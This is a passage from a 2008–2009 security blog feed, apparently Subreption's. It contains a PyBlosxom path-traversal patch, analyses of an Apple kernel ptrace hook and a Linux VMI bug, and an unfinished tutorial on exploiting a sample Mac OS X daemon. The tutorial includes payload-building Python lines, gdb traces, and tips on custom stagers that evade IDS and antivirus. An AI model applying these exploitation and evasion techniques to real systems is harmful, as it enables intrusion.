&lt;pre&gt;
diff -Nur pyblosxom-1.4.3/Pyblosxom/renderers/blosxom.py pyblosxom-1.4.3.custom/Pyblosxom/renderers/blosxom.py
--- pyblosxom-1.4.3/Pyblosxom/renderers/blosxom.py	2007-12-11 07:56:46.000000000 -0800
+++ pyblosxom-1.4.3.custom/Pyblosxom/renderers/blosxom.py	2008-09-06 06:06:51.000000000 -0700
@@ -48,7 +48,11 @@
     path = path[:path.rfind(os.sep)+1] + "flavours" + os.sep
 
     path = path + taste + ".flav"
-
+    
+    # Detect NULL terminators and path traversal strings :&gt;
+    if taste.find('\0') != -1 or taste.find('..') != -1:
+        raise NoSuchFlavourException("Flavour does not exist.")
+    
     if os.path.isdir(path):
         template_files = os.listdir(path)
         template_d = {}
@@ -186,13 +190,16 @@
 
         # if we still haven't found our flavour files, we raise an exception
         if not template_d:
-            raise NoSuchFlavourException("Flavour '%s' does not exist." % taste)
+            raise NoSuchFlavourException("Flavour does not exist.")
 
         for k in template_d.keys():
-            flav_template = unicode(open(template_d[k]).read(), 
-                    config.get('blog_encoding', 'iso-8859-1'))
-            template_d[k] = flav_template
-
+            try:
+                flav_template = unicode(open(template_d[k]).read(), 
+                                config.get('blog_encoding', 'iso-8859-1'))
+                template_d[k] = flav_template
+            except:
+                raise NoSuchFlavourException("Flavour error: %s" % template_d[k])
+        
         return template_d
 
     def _printTemplate(self, entry, template):
&lt;/pre&gt;

&lt;p&gt;
Patch for the Subversion trunk, if you are running the "bleeding edge":
&lt;/p&gt;

&lt;pre&gt;
diff -Nur pyblosxom-trunk/Pyblosxom/renderers/blosxom.py pyblosxom-subreption/Pyblosxom/renderers/blosxom.py
--- pyblosxom-trunk/Pyblosxom/renderers/blosxom.py	2008-09-06 06:20:37.000000000 -0700
+++ pyblosxom-subreption/Pyblosxom/renderers/blosxom.py	2008-09-06 06:25:50.000000000 -0700
@@ -47,6 +47,9 @@
     path = __file__[:__file__.rfind(os.sep)]
     path = path[:path.rfind(os.sep)+1] + "flavours" + os.sep
 
+    if taste.find('\0') != -1 or taste.find('..') != -1:
+        return None
+    
     path = path + taste + ".flav"
 
     if os.path.isdir(path):
@@ -190,12 +193,12 @@
 
         # if we still haven't found our flavour files, we raise an exception
         if not template_d:
-            raise NoSuchFlavourException("Flavour '%s' does not exist." % taste)
+            raise NoSuchFlavourException("Flavour does not exist.")
 
         for k in template_d.keys():
             flav_template = open(template_d[k]).read()
             template_d[k] = flav_template
-
+        
         return template_d
 
     def renderContent(self, content):
&lt;/pre&gt;

&lt;p&gt;
Thanks, and let us know if you have any issues with the patches. Please don't
contact us for technical support for your blog or similar cases. If you don't
know how to apply the patch, contact your system administrator or support from your
hosting provider, or some friend with free time to help you out.
&lt;/p&gt;
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=9alg0I_fnFU:qoEg2q0EYrA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=9alg0I_fnFU:qoEg2q0EYrA:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=9alg0I_fnFU:qoEg2q0EYrA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=9alg0I_fnFU:qoEg2q0EYrA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=9alg0I_fnFU:qoEg2q0EYrA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=9alg0I_fnFU:qoEg2q0EYrA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=9alg0I_fnFU:qoEg2q0EYrA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=9alg0I_fnFU:qoEg2q0EYrA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/9alg0I_fnFU" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2009/02/minor-security-fixes-for-pyblosxom.html</feedburner:origLink></entry>

<entry>
    <title> Apple Mac OS X 10.4 temp_patch_ptrace(): Nonsense in kernel-land</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/3wiZQjtdJd0/apple-mac-os-x-104-temp-patch-ptrace-nonsense-in-kernel-land.html" />
    <id>tag:www.subreption.com,2008:/blog//1.98</id>

    <published>2008-11-03T14:49:27Z</published>
    <updated>2009-03-08T13:51:50Z</updated>

    <summary> Several software vendors realized, sometime during the 1990-2000 timeframe, that exporting system call tables within kernel address space was a bad idea. This obviously doesn't mean anything to Red Hat and other GNU/Linux vendors who are happily providing world...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Coding" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="fun" label="fun" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="kernel" label="kernel" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="mac" label="mac" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        &lt;p&gt;
    Several software vendors realized, sometime during the 1990-2000 timeframe,
    that exporting system call tables within kernel address space was a bad idea.
    This obviously doesn't mean anything to Red Hat and other GNU/Linux vendors
    who are happily providing world readable &lt;code&gt;System.map&lt;/code&gt; files. Not
    like anybody needs them, though.
    
    &lt;br /&gt;&lt;br /&gt;
    
    Then again, you have to face potential funniness of contradictory measures,
    like Apple's own mistakes. This article won't talk about yet another bug
    introduced by a Linux developer working at Red Hat (and later silently fixed
    by another employee of the very same company), but an interesting issue with
    Mac OS X 10.4 systems on PowerPC.
&lt;/p&gt;

&lt;h3&gt;The temp_patch_ptrace() function: how to fix an issue and introduce a new one&lt;/h3&gt;

&lt;p&gt;
    Albeit the implementation of &lt;code&gt;ptrace&lt;/code&gt; on Mac OS X is severely crippled,
    they had time to add a nifty trick to prevent immediate debugging of certain
    processes. Undocumented, it was obviously used only by Apple's own software, namely
    iTunes and related applications. A private flag set by a process would disallow
    future interaction with it via &lt;code&gt;ptrace&lt;/code&gt; or other mechanisms, thus
    causing the &lt;code&gt;gdb&lt;/code&gt; debugger to fail when trying to attach to the target
    process. A modern version of the good old trick first described publicly by Silvio
    Cesare in &lt;a href="http://vx.netlux.org/lib/vsc04.html"&gt;one of his anti-debugging
    articles&lt;/a&gt;.
    
    &lt;br /&gt; &lt;br /&gt;
    
    Apple, possibly with the intention of helping anti-piracy software vendors (in
    their quest to preserve all that is good and just in the software industry and
    beyond) &lt;a href="http://fxr.watson.org/fxr/source/bsd/dev/ppc/systemcalls.c?v=xnu-792#L486"&gt;added a KPI&lt;/a&gt; 
    (Kernel Programming Interface) that let's a kernel extension patch the
    &lt;code&gt;ptrace&lt;/code&gt; system call. The &lt;code&gt;sysent&lt;/code&gt; variable (the
    BSD equivalent of the Linux &lt;code&gt;syscall_table&lt;/code&gt;, holding pointers, arguments
    and other data of the supported system calls) is &lt;strong&gt;not&lt;/strong&gt; exported
    in any Mac OS X system, as a measure to prevent abuse (for example, in rootkits
    and other malware subverting kernel-land code).
    
    &lt;br /&gt;&lt;br /&gt;
    
    Therefore, there's no absolutely reliable method to patch the system call table
    without resorting to hacks (even though these can be extremely reliable, mostly
    always they are tied to specific versions and or architectures). Hence, the existence
    of &lt;code&gt;temp_patch_ptrace&lt;/code&gt;. See the implementation of the function below:
&lt;/p&gt;

        &lt;pre&gt;
481 /* 
482  * WARNING - this is a temporary workaround for binary compatibility issues
483  * with anti-piracy software that relies on patching ptrace (3928003).
484  * This KPI will be removed in the system release after Tiger.
485  */
486 uintptr_t temp_patch_ptrace(uintptr_t new_ptrace)
487 {
488         struct sysent *         callp;
489         sy_call_t *                     old_ptrace;
490 
491         if (new_ptrace == 0)
492                 return(0);
493                 
494         enter_funnel_section(kernel_flock);
495         callp = &amp;sysent[26];
496         old_ptrace = callp-&gt;sy_call;
497         
498         /* only allow one patcher of ptrace */
499         if (old_ptrace == (sy_call_t *) ptrace) {
500                 callp-&gt;sy_call = (sy_call_t *) new_ptrace;
501         }
502         else {
503                 old_ptrace = NULL;
504         }
505         exit_funnel_section( );
506         
507         return((uintptr_t)old_ptrace);
508 }
&lt;/pre&gt;

&lt;p&gt;
    It's not available on Leopard. The implications of this are fairly evident:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;A kernel extension could patch the &lt;code&gt;ptrace&lt;/code&gt; system call
    without knowing the &lt;code&gt;sysent&lt;/code&gt; exact location.&lt;/li&gt;
    &lt;li&gt;A rootkit can be implemented with just a single system call patch. And
    &lt;code&gt;ptrace&lt;/code&gt; takes a good amount of arguments, therefore providing a wide
    range of possibilities (as an exercise, think of a protocol based on &lt;code&gt;ptrace&lt;/code&gt;
    which, upon a magic &lt;code&gt;request&lt;/code&gt; argument, performs specific actions using a
    data buffer pointed by the &lt;code&gt;addr&lt;/code&gt; argument).&lt;/li&gt;
    &lt;li&gt;The function returns the original location of &lt;code&gt;ptrace&lt;/code&gt; on kernel address
    space. If we wanted to locate &lt;code&gt;sysent&lt;/code&gt; within a specific range of addresses,
    knowing the location of a system call will let us calculate an offset to the start of
    the structure (allowing verification for known values too).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
    So, why would Apple stop exporting the &lt;code&gt;sysent&lt;/code&gt; structure and still
    provide a function with the purpose of patching a system call? Why not exporting
    &lt;code&gt;sysent&lt;/code&gt; if a linear memory search is trivial to use for locating it
    on memory (which has been used historically by Linux rootkits)?
&lt;/p&gt;

    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=3wiZQjtdJd0:t7zxtDnlbg4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=3wiZQjtdJd0:t7zxtDnlbg4:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=3wiZQjtdJd0:t7zxtDnlbg4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=3wiZQjtdJd0:t7zxtDnlbg4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=3wiZQjtdJd0:t7zxtDnlbg4:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=3wiZQjtdJd0:t7zxtDnlbg4:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=3wiZQjtdJd0:t7zxtDnlbg4:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=3wiZQjtdJd0:t7zxtDnlbg4:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/3wiZQjtdJd0" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/11/apple-mac-os-x-104-temp-patch-ptrace-nonsense-in-kernel-land.html</feedburner:origLink></entry>

<entry>
    <title>Linux Kernel Silent Patching: VMI write_ldt_entry() privilege escalation</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/XqpjG6jgRqA/linux-kernel-silent-patching-vmi-write-ldt-entry-privilege-escalation.html" />
    <id>tag:www.subreption.com,2008:/blog//1.99</id>

    <published>2008-10-28T13:52:43Z</published>
    <updated>2009-03-08T13:55:05Z</updated>

    <summary> Once again, the Linux kernel developers delight us with their always discreet (read: silent, no-advisory, no-warning policy) and wonderful patching practices. Sometime between 2.6.24 and 2.6.25 a patch from a Red Hat developer was committed into the Linux kernel...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Lies and silence" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Open Source" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="annoying" label="annoying" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="fun" label="fun" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="kernel" label="kernel" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="linux" label="linux" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        &lt;p&gt;
    Once again, the Linux kernel developers delight us with their always
    discreet (read: silent, no-advisory, no-warning policy) and wonderful
    patching practices.
    &lt;a href="http://kerneltrap.org/mailarchive/linux-kernel/2008/1/21/588524"&gt;Sometime&lt;/a&gt;
    between 2.6.24 and 2.6.25 a patch from a Red Hat developer was committed into
    the Linux kernel git tree, implementing changes to the &lt;a href="https://lists.linux-foundation.org/pipermail/virtualization/2006-March/003907.html"&gt;VMI interfaces&lt;/a&gt; hooking
    some functions dealing with the GDT and LDT.
&lt;/p&gt;

&lt;pre&gt;
diff --git a/arch/x86/kernel/vmi_32.c b/arch/x86/kernel/vmi_32.c
index 6ca515d..edfb09f 100644
--- a/arch/x86/kernel/vmi_32.c
+++ b/arch/x86/kernel/vmi_32.c
@@ -235,7 +235,7 @@ static void vmi_write_ldt_entry(struct desc_struct *dt, int entry,
 				const void *desc)
 {
 	u32 *ldt_entry = (u32 *)desc;
-	vmi_ops.write_idt_entry(dt, entry, ldt_entry[0], ldt_entry[1]);
+	vmi_ops.write_ldt_entry(dt, entry, ldt_entry[0], ldt_entry[1]);
 }
 
 static void vmi_load_sp0(struct tss_struct *tss,
&lt;/pre&gt;

&lt;p&gt;
    It's not truly clear if there's a reliable way to abuse this issue properly (since
    data passed to &lt;code&gt;sys_modify_ldt&lt;/code&gt; goes through several checks and might not
    trigger the vulnerable code path right away). Although, &lt;a href="http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.26.y.git;a=commit;h=de59985e3a623d4d5d6207f1777398ca0606ab1c"&gt;the original commit&lt;/a&gt; mentions
    that it was discovered when JRE caused failures. In addition, &lt;code&gt;vmi_ops.write_idt_entry&lt;/code&gt;
    might do further validation, thus reducing the issue to a mere denial of service in
    the worst case. Also, it affects only x86 VMI guests.
&lt;/p&gt;

        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XqpjG6jgRqA:6kQTmJrVWo4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XqpjG6jgRqA:6kQTmJrVWo4:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XqpjG6jgRqA:6kQTmJrVWo4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=XqpjG6jgRqA:6kQTmJrVWo4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XqpjG6jgRqA:6kQTmJrVWo4:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XqpjG6jgRqA:6kQTmJrVWo4:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=XqpjG6jgRqA:6kQTmJrVWo4:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XqpjG6jgRqA:6kQTmJrVWo4:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/XqpjG6jgRqA" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/10/linux-kernel-silent-patching-vmi-write-ldt-entry-privilege-escalation.html</feedburner:origLink></entry>

<entry>
    <title>Custom shellcode and return-to-libc on Mac OS X</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/6-m2JI1YzG8/custom-shellcode-and-return-to-libc-on-mac-os-x.html" />
    <id>tag:www.subreption.com,2008:/blog//1.97</id>

    <published>2008-10-15T13:01:32Z</published>
    <updated>2009-03-08T13:48:35Z</updated>

    <summary>Custom shellcode and return-to-libc on Mac OS X After some time without any updates coming up, this article will show some techniques and strategies to improve reliability of exploit code in Mac OS X Tiger and Leopard (up to 10.5.5)....</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="exploits" label="exploits" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="mac" label="mac" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        Custom shellcode and return-to-libc on Mac OS X

&lt;p&gt;
    After some time without any updates coming up, this article will show
    some techniques and strategies to improve reliability of exploit code
    in Mac OS X Tiger and Leopard (up to 10.5.5).
    
    Specifically, we will look at a technique to aid loading of stager
    shellcode and evading non-executable stack restrictions. This was
    hinted at the "&lt;em&gt;OS X Exploits and Defense&lt;/em&gt;" book (Elsevier), chapter
    7, which I wrote earlier this year (co-authored the book with Kevin
    Finisterre).
&lt;/p&gt;

&lt;p&gt;
    Ideally, when shellcode size restrictions exist, and possibly in almost
    any situation where subtle and discreet operation is required, you should
    never use a standard or publicly available shellcode, like the usual so-called
    "bind shell" or "reverse shell". Not only they are identified by IDS vendors
    but they will also fail when certain constraints are present. In addition, a
    combination of stubs (splitting functionality in small dock-able shellcodes)
    with an encoder will defeat most packet inspectors and signature-based
    detection products (for example, antivirus engines).
&lt;/p&gt;

&lt;h3&gt;Caveats&lt;/h3&gt;

&lt;p&gt;
    When using a stager, you might find few different shortcomings that prevent
    your code from being reliable or effective against the most wide span of
    architectures and platforms:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;Requiring an allocation procedure. Usually unavoidable on kernel-land
    exploit code, but workarounds exist in special circumstances. Using
    &lt;code&gt;malloc()&lt;/code&gt; or other allocators requires previous knowledge
    of their location within the address space.&lt;/li&gt;
    &lt;li&gt;Stages size and memory resilience: do you want your shellcode to be
    eventually swapped to disk and remain up there for any future forensics?
    Certainly not. Using &lt;code&gt;mlock&lt;/code&gt; is required.&lt;/li&gt;
    &lt;li&gt;Endianness and direction of stack (wherein most architectures it grows down,
    it doesn't in some, therefore subverting the previous frame might not be
    effective). If your data is transmitted from a remote stage-serving host,
    you want it to be translated to the endianness of the target stager listener.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;The sample vulnerable daemon&lt;/h3&gt;

&lt;p&gt;
    &lt;em&gt;vulnerabled&lt;/em&gt; is a (TCP based) network daemon which processes
    incoming messages and seeks a &lt;code&gt;callto://&lt;/code&gt; handler. Then it reads
    whatever is trailing after the handler string. Imagine this daemon is used
    to connect to a VoIP solution that calls numbers provided by a crawler to
    do phone spam or targeted advertisement.
    &lt;br /&gt;&lt;br /&gt;
    The daemon properly reads the incoming message into a heap allocated buffer,
    named &lt;code&gt;tmpbuf&lt;/code&gt;. Its contents are zeroed every time the loop runs, therefore
    making reliable usage of the buffer impossible on two consecutive runs if
    &lt;code&gt;tmpbuf&lt;/code&gt; points to the same address. A memory leak would help in
    this situation, but there's none.
    &lt;br /&gt;
    &lt;br /&gt;
    Afterwards, data is read from the incoming connection, into &lt;code&gt;tmpbuf&lt;/code&gt;.
    It NULL-terminates the buffer, but if &lt;code&gt;tmpbuf&lt;/code&gt; address is overwritten,
    a NULL byte will be written off-bounds. Such a situation could be useful in certain
    cases, but we won't be looking into this particular possibility in depth for this
    article; a single NULL byte write can indeed lead to arbitrary code execution, as
    long as some requirements are met: here the offset will be equal to the length of
    the data received from the client, thus we will need to send a payload of specific
    length to match the offset (example: target address minus address of
    &lt;code&gt;tmpbuf&lt;/code&gt;) where we want our NULL to be injected.
&lt;/p&gt;

&lt;pre&gt;
22	    char *tmpbuf = NULL;
23	    char vulnbuf[265];
...
37	    tmpbuf = malloc(8092);
...
74	    while(1) {
...
91	        memset(vulnbuf, 0, sizeof(vulnbuf));
...
96	        if ((recvlen = recv(connfd, tmpbuf, 8092, 0)) != -1)
97	        {
98	            tmpbuf[recvlen] = '\0';
&lt;/pre&gt;

&lt;p&gt;
    If the incoming data contains the handler string, it reads the trailing string
    into the stack-based buffer named &lt;code&gt;vulnbuf&lt;/code&gt;, which has a fixed size
    of 265 bytes. A stack-based buffer overflow condition with a twist: we can abuse
    variable ordering to do a more sophisticate attack against &lt;em&gt;vulnerabled&lt;/em&gt;.
    Instead of a single packet payload, we will dedicate one to send the main
    payload and a second one to trigger it and subvert the execution flow in an elegant
    manner. This will allow us to introduce the main topic of this article: creating
    custom shellcode for evading security measures and improved reliability of stagers.
&lt;/p&gt;

&lt;pre&gt;
100	            if ((recvlen &gt; handlerlen) &amp;&amp;
101	                (!memcmp(tmpbuf, DEFAULT_HANDLER, handlerlen)))
102	            {            
106	                memcpy(vulnbuf, tmpbuf+handlerlen, recvlen-handlerlen);
107	                fprintf(stdout, "received message: %s\n", vulnbuf);
108	            }
109	        
110	            if (recvlen &gt; 4 &amp;&amp; (tmpbuf[0] == '.') &amp;&amp;
111	                (tmpbuf[1] == 'e') &amp;&amp; (tmpbuf[2] == 'n') &amp;&amp;
112	                (tmpbuf[3] == 'd'))
113	                break;
&lt;/pre&gt;

&lt;h3&gt;The exploit approach&lt;/h3&gt;

&lt;p&gt;
    In the previous section we walked through the code of the sample vulnerable
    daemon, reviewing the potentially exploitable security issues. Finally, we
    suggested an elegant approach to abuse the issues for reliable code execution
    against Apple Mac OS X Leopard 10.5.5. This section will explain said approach
    thoroughly.
    &lt;br /&gt;&lt;br /&gt;
    The layout of the attack is as follows:
&lt;/p&gt;

&lt;ol&gt;
    &lt;li&gt;Initial payload:&lt;/li&gt;
    &lt;ol&gt;
        &lt;li&gt;Handler string (&lt;code&gt;callto://&lt;/code&gt;)&lt;/li&gt;
        &lt;li&gt;Small NOP sled&lt;/li&gt;
        &lt;li&gt;Custom &lt;code&gt;mprotect()&lt;/code&gt; and pre-stager shellcode&lt;/li&gt;
        &lt;li&gt;Stager shellcode&lt;/li&gt;
        &lt;li&gt;Instructions to return or exit gracefully&lt;/li&gt;
        &lt;li&gt;Random alphanumeric padding&lt;/li&gt;
        &lt;li&gt;Address to EBP&lt;/li&gt;
    &lt;/ol&gt;
    &lt;li&gt;Second "trigger" payload:&lt;/li&gt;
    &lt;ol&gt;
        &lt;li&gt;Handler string (&lt;code&gt;callto://&lt;/code&gt;)&lt;/li&gt;
        &lt;li&gt;End control message (&lt;code&gt;.end&lt;/code&gt;)&lt;/li&gt;
        &lt;li&gt;Address to write at EBP+4 (saved EIP)&lt;/li&gt;
    &lt;/ol&gt;
&lt;/ol&gt;

&lt;pre&gt;
data += self.shellcode
data += self.random_string(265-len(self.shellcode))
data += self.random_string(4)
data += self.random_string(4)
data += struct.pack('&amp;lt;L', ebp_address)

heap_jumper = ''
heap_jumper += '.end'
heap_jumper += struct.pack('&amp;lt;L', 0x80000c)
&lt;/pre&gt;

&lt;p&gt;
    You might have noticed that writing to EBP for overwriting saved EIP
    requires us to write 4 bytes preceding the new EIP value. The length
    of the end control message is... exactly 4 bytes. And that's the condition
    that let's us abuse the variable ordering to point &lt;code&gt;tmpbuf&lt;/code&gt; at
    EBP directly and overwrite saved EIP correctly. The final payload is
    copied by &lt;code&gt;recv&lt;/code&gt; into EBP:
&lt;/p&gt;

&lt;pre&gt;
(gdb) p $ebp
$32 = (void *) 0xbffff888
(gdb) p tmpbuf
$33 = 0xbffff888 ".end\f"
(gdb) x/2x tmpbuf
0xbffff888:	0x646e652e	0x0080000c
(gdb) x/i 0x0080000c
0x80000c:	nop
(gdb) p recvlen 
$34 = 8
&lt;/pre&gt;

&lt;p&gt;
    Note the address pointing to the heap buffer which was allocated initially.
    Mac OS X has an absolutely predictable heap, fortunately for us, unfortunate
    for the end-user security. We have effectively overwritten a pointer address
    to force the next &lt;code&gt;recv&lt;/code&gt; call to write arbitrary data on EBP.
&lt;/p&gt;

&lt;pre&gt;
(gdb) c
Continuing.
vulnerabled(1654) malloc: *** error for object 0xbffff888: Non-aligned pointer being freed
*** set a breakpoint in malloc_error_break to debug

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0080002b in ?? ()

(gdb) x/4i $eip
0x80002b:	xor    %eax,%eax
0x80002d:	push   %eax
0x80002e:	push   %eax
0x80002f:	push   $0x1012

(gdb) i f
Stack level 0, frame at 0xbffff888:
 eip = 0x80002b; saved eip 0xbf800000
 called by frame at 0x800032
 Arglist at 0xbffff880, args: 
 Locals at 0xbffff880, Previous frame's sp is 0xbffff888
 Saved registers:
  ebp at 0xbffff880, eip at 0xbffff884
&lt;/pre&gt;

&lt;p&gt;
    There's a catch: if the binary has been compiled with IBM Stack Smashing
    Protector (SSP, in the past, known as ProPolice) the arrangement of
    variables on memory will be different and we won't be able to reach
    the pointer from the stack-based buffer, thus rendering this approach
    impossible.
&lt;/p&gt;

&lt;h3&gt;Custom shellcode, stagers and non-executable stack&lt;/h3&gt;

&lt;p&gt;
    The custom shellcode explained here will use only a single
    function from &lt;code&gt;libSystem&lt;/code&gt; (the libc of sorts on OS X): &lt;code&gt;mprotect&lt;/code&gt;.
    It should be feasible to change memory protections using a different
    method, but this is suitable for a re-spawning daemon since we can
    bruteforce the dyld stub address.
    &lt;br /&gt;&lt;br /&gt;
    It uses the &lt;code&gt;mmap&lt;/code&gt; and &lt;code&gt;mlock&lt;/code&gt; system calls, to
    map memory at &lt;code&gt;PAGE_ZERO&lt;/code&gt; (NULL, &lt;code&gt;0x00000000&lt;/code&gt;) and
    lock pages to physical memory, respectively.
    &lt;br /&gt;&lt;br /&gt;
    This is the first time that this technique appears (specifically for OS X)
    publicly. The MACH-O binary format defines a zeroed, unmapped memory segment
    at position 0, named &lt;code&gt;PAGE_ZERO&lt;/code&gt;. It remains unmapped under normal circumstances
    to force exceptions on NULL dereference conditions (read/write to NULL, offset
    from NULL when reading a member of a structure pointing at NULL, etc).
    &lt;br /&gt;&lt;br /&gt;
    If we map &lt;code&gt;PAGE_ZERO&lt;/code&gt; and set its permissions to read-write-execute, we will have
    space of &lt;code&gt;PAGE_SIZE&lt;/code&gt; length (4096 bytes on x86) for storing shellcode stages
    and pretty much anything we could find useful. Side-effects of mapping &lt;code&gt;PAGE_ZERO&lt;/code&gt;
    will be difficult to predict. Any future mistakes and programming errors
    that dereference NULL or a offset from NULL won't raise an exception. Also,
    if data is written there, our shellcode or data will be corrupted. Therefore,
    for safety purposes, we might want to leave an initial set of bytes at NULL
    unused (unchanged, thus zeroed). If data changes in the initial bytes, we
    could raise an exception to &lt;em&gt;emulate&lt;/em&gt; normal behavior, in case it's
    been done as part of a test to detect our presence.
    &lt;br /&gt;&lt;br /&gt;
    Mapping &lt;code&gt;PAGE_ZERO&lt;/code&gt; will be clearly visible and it's not subtle if it remains in
    mapped state for a long time. Apparently the dyld loader and other operations
    during MACH-O execution time map the segment for a very short time.
&lt;/p&gt;

&lt;p&gt;
    The &lt;code&gt;mprotect&lt;/code&gt; produces the following results when executed within
    the context of &lt;em&gt;vulnerabled&lt;/em&gt; after successful exploitation, before execution
    of the stager shellcode:
&lt;/p&gt;

&lt;pre&gt;
